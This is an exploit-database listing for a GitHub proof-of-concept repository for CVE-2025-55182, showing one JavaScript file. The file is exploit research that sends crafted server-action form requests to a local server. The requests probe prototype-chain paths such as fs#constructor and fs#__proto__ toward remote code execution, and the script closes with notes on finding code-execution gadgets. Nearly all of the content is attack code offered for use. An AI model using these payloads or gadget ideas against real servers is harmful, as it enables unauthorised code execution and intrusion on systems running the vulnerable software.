Exploit database

GH-0311b668e3a201a70a4bf3152c0ce09e

pa2sw0rd/exploit-cve-2025-55182-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
pa2sw0rd/exploit-cve-2025-55182-pocRevision b80fad0480eb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit-research.js

JavaScript · 5,381 bytes
/**
 * CVE-2025-55182 Research - RCE without explicit dangerous modules
 * 
 * Question: Can we achieve RCE if only "safe" modules like fs, path, util are bundled?
 * 
 * Research areas:
 * 1. Prototype chain to Function constructor
 * 2. Module internals that might give us code execution
 * 3. Object.prototype methods
 */

const http = require('http');

async function sendRequest(formFields) {
  const boundary = '----Boundary';
  const parts = [];
  for (const [name, value] of Object.entries(formFields)) {
    parts.push('--' + boundary + '\r\n' +
      'Content-Disposition: form-data; name="' + name + '"\r\n\r\n' +
      value + '\r\n');
  }
  parts.push('--' + boundary + '--\r\n');
  const body = parts.join('');

  return new Promise((resolve, reject) => {
    const req = http.request({
      hostname: 'localhost', port: 3002, path: '/formaction',
      method: 'POST',
      headers: {
        'Content-Type': 'multipart/form-data; boundary=' + boundary,
        'Content-Length': Buffer.byteLength(body)
      }
    }, (res) => {
      let data = '';
      res.on('data', chunk => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, data }));
    });
    req.on('error', reject);
    req.write(body);
    req.end();
  });
}

async function main() {
  console.log('=== CVE-2025-55182 Research - Alternative RCE Paths ===\n');

  // 1. Test if we can access constructor chain
  console.log('1. Testing prototype chain access via #constructor');
  let result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'fs#constructor',
      bound: []
    })
  });
  console.log('   fs#constructor:', result.data.slice(0, 100));

  // 2. Can we access toString, then its constructor?
  console.log('\n2. Testing fs#toString');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'fs#toString',
      bound: []
    })
  });
  console.log('   fs#toString:', result.data.slice(0, 100));

  // 3. What about valueOf?
  console.log('\n3. Testing fs#valueOf');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'fs#valueOf',
      bound: []
    })
  });
  console.log('   fs#valueOf:', result.data.slice(0, 100));

  // 4. __defineGetter__?
  console.log('\n4. Testing fs#__defineGetter__');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'fs#__defineGetter__',
      bound: []
    })
  });
  console.log('   fs#__defineGetter__:', result.data.slice(0, 100));

  // 5. Can we access require through the module?
  // In Node, modules have access to require...
  console.log('\n5. Testing util#debuglog (might have access to internals)');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'util#debuglog',
      bound: ['test']
    })
  });
  console.log('   util#debuglog:', result.data.slice(0, 100));

  // 6. util.inspect has custom symbols that might be exploitable
  console.log('\n6. Testing util#inspect with magic object');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'util#inspect',
      bound: ['test']
    })
  });
  console.log('   util#inspect:', result.data.slice(0, 100));

  // 7. What if we use __proto__ instead of constructor?
  console.log('\n7. Testing fs#__proto__');
  result = await sendRequest({
    '$ACTION_REF_0': '',
    '$ACTION_0:0': JSON.stringify({
      id: 'fs#__proto__',
      bound: []
    })
  });
  console.log('   fs#__proto__:', result.data.slice(0, 100));

  // 8. Check if we can chain to Function
  console.log('\n8. Testing direct module access patterns');
  
  // In the Flight protocol, can we chain properties?
  // The bound args can contain property chains like $1:constructor:constructor
  
  // Let's see if fs.constructor.constructor gives us Function
  const fs = require('fs');
  console.log('   Local test: fs.constructor =', fs.constructor.name);
  console.log('   Local test: fs.constructor.constructor =', fs.constructor.constructor.name);
  console.log('   Local test: fs.readFileSync.constructor =', fs.readFileSync.constructor.name);

  // 9. The key insight: if we can get ANY function, we can call its constructor
  // to get Function, then Function("return this")() gives us global
  console.log('\n9. Testing if Function.constructor gives access');
  
  // fs.readFileSync is a function
  // fs.readFileSync.constructor = Function
  // Can we access fs#readFileSync, then somehow chain to constructor?
  
  // The problem is: the result of decodeAction is fn.bind.apply(fn, [null, ...bound])
  // So we need fn itself to be dangerous
  
  console.log('\n=== Key Findings ===');
  console.log('The vulnerability requires a "gadget" - a function that:');
  console.log('  1. Is accessible as a module export (or prototype property)');
  console.log('  2. When called with attacker-controlled bound args, executes code');
  console.log('');
  console.log('Without vm or child_process, we need to find alternative gadgets.');
  console.log('Potential vectors:');
  console.log('  - WASM modules with exec capabilities');
  console.log('  - Native addons with eval-like functions');
  console.log('  - Indirect code execution via file write + require');
}

main().catch(console.error);